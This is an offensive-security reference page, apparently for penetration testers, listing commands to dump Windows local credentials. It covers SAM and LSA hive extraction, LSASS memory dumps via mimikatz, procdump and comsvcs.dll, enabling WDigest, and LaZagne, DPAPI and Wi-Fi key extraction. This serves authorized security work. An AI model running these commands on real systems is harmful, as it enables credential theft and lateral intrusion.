> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # Windows Credentials Attacks Everything here targets credentials stored on a single Windows host, local account hashes, cached logon secrets, saved browser/app passwords. Domain-wide techniques that depend on Active Directory itself (DCSync, Golden/Silver tickets, Pass-the-Ticket, dumping `NTDS.dit` from a Domain Controller) belong on the [AD Kerberos Ticket Attacks](https://0-x.dev/ad/kerberos-ticket-attacks.md) page instead, this page is strictly local-host. Cracking whatever hashes you pull here happens on the [Password Cracking](https://0-x.dev/password-cracking.md) page. > **At Rest** > > Registry hives and the credential store, readable with the right privileges even without a running process to dump. > **In Memory** > > LSASS holds logon secrets in a recoverable form for the duration of a session, the highest-value and most commonly targeted source. *** ## Registry Hives (SAM/SECURITY/SYSTEM) Windows stores local account secrets across three registry hives that only make sense together, the SAM hashes are encrypted with a key that lives in SYSTEM, so pulling just one of them gets you nothing crackable.
Hive Contains
`HKLM\SAM` Local account password hashes
`HKLM\SYSTEM` The boot key, required to decrypt the SAM hashes
`HKLM\SECURITY` LSA secrets: cached domain credentials (DCC2), DPAPI keys, sometimes cleartext service account passwords
```cmd theme={null} # to manually dump it reg.exe save hklm\sam C:\sam.save reg.exe save hklm\system C:\system.save reg.exe save hklm\security C:\security.save ``` ```bash theme={null} # to use it with python impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL ``` > [!TIP] > > [NetExec](https://github.com/Pennyw0rth/NetExec) does the same extraction remotely over SMB with valid local credentials already in hand, no need to touch the registry manually at all. Check the [NetExec](https://0-x.dev/net-exec.md) page for more informations. > > ```bash theme={null} > netexec smb --local-auth -u -p --sam > netexec smb --local-auth -u -p --lsa > ``` *** ## LSASS Memory LSASS (Local Security Authority Subsystem Service) holds every logged-on user's credentials in memory for as long as their session is active, dumping its memory and parsing it offline is one of the highest-value single actions on a Windows host. To dump the LSASS process with the Task Manager ```text theme={null} Task Manager > Processes tab > Local Security Authority Process > Create dump file ``` To dump the LSASS process from the console: ```cmd theme={null} rundll32 C:\windows\system32\comsvcs.dll, MiniDump C:\lsass.dmp full ``` To dump the LSASS process with procdump: ```text theme={null} procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` To dump it with mimikatz: ```text theme={null} mimikatz # sekurlsa::minidump lsass.dmp ``` Parsing the dump doesn't require Mimikatz itself, [pypykatz](https://github.com/skelsec/pypykatz) is a pure Python reimplementation that runs on Linux against an exfiltrated dump: ```bash theme={null} pypykatz lsa minidump ./lsass.dmp ``` ### Mimikatz (On-Host) Mimikatz needs to run on the windows target itself (or inside a session on it, via Meterpreter's `kiwi` extension), unlike pypykatz which works offline against an exfiltrated dump. ```text theme={null} privilege::debug # confirm the required privilege is held before anything else lsadump::sam # dump local NTLM hashes (equivalent to the registry-save method above) sekurlsa::logonpasswords # dump credentials of every logged-on user from LSASS memory directly sekurlsa::credman # dump Credential Manager contents sekurlsa::ekeys # dump Kerberos encryption keys for logged-on users ``` > [!TIP] > > `sekurlsa::logonpasswords` only recovers a cleartext password (rather than just the NTLM hash) if WDigest is enabled, check and set it first if the hash alone isn't enough: > > ```powershell theme={null} > Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" | Select-Object UseLogonCredential > Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 1 -Force > ``` Via Metasploit/Meterpreter: ```text theme={null} load kiwi lsa_dump_sam creds_all ``` *** ## Credential Manager & Saved Sessions ```cmd theme={null} cmdkey /list # list saved credentials runas /savecred /user: cmd # reuse a saved credential without ever seeing the password ``` [SessionGopher](https://github.com/Arvanaghi/SessionGopher) finds and decrypts saved sessions for common remote-access tools (PuTTY, WinSCP, RDP, FileZilla) in one pass: ```powershell theme={null} Import-Module .\SessionGopher.ps1 Invoke-SessionGopher -Target WINLPE-SRV01 ``` [LaZagne](https://github.com/AlessandroZ/LaZagne) sweeps a much broader set of local applications (browsers, mail clients, Wi-Fi, password managers) for stored credentials in one run: ```cmd theme={null} .\Lazagne.exe all ``` *** ## Wi-Fi Credentials To show wifi connection passwords in cleartext ```cmd theme={null} netsh wlan show profile netsh wlan show profile key=clear ``` *** ## RDP Connection Manager (.rdg) Files ```powershell theme={null} # upload SharpDPAPI.exe to the target first SharpDPAPI.exe rdg /unprotected ``` If a master key is required instead, pull it via Mimikatz (as an .exe, or inside a Meterpreter session): ```text theme={null} load kiwi kiwi_cmd sekurlsa::dpapi ``` Copy the `{GUID}:SHA1-key` pair from the output, then decrypt directly: ```powershell theme={null} SharpDPAPI.exe rdg {GUID}:SHA1-KEY ``` > [!TIP] > > [DonPAPI](https://github.com/login-securite/DonPAPI) automates DPAPI secret extraction (saved RDP/Wi-Fi/browser credentials) across an entire domain in one pass, worth reaching for once more than a single host is in scope. *** ## Interesting Paths These are some interesting paths and commands to look for credentials. For a more detailed search check the [Windows OS Enumeration](https://0-x.dev/windows-os-enumeration.md) page ```text theme={null} C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Autounattend.xml ``` ```cmd theme={null} findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.ps1 *.yml *.rdg ``` ```cmd theme={null} reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # cleartext password if autologon is enabled reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions # saved PuTTY sessions, query again per session name found ``` *** ## Quick Reference Tools > **[Password Cracking](https://0-x.dev/password-attacks/cracking)** > > Crack any NTLM/NetNTLMv2/DCC2 hash dumped on this page. > **[AD Kerberos Ticket Attacks](https://0-x.dev/ad/kerberos-ticket-attacks.md)** > > DCSync, Golden/Silver tickets, Pass-the-Ticket, and NTDS.dit, the domain-wide techniques this page deliberately excludes. > **[pypykatz](https://github.com/skelsec/pypykatz)** > > Parse an exfiltrated LSASS dump offline, no Mimikatz or Windows required. > **[LaZagne](https://github.com/AlessandroZ/LaZagne)** > > Broad local credential sweep across dozens of applications. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.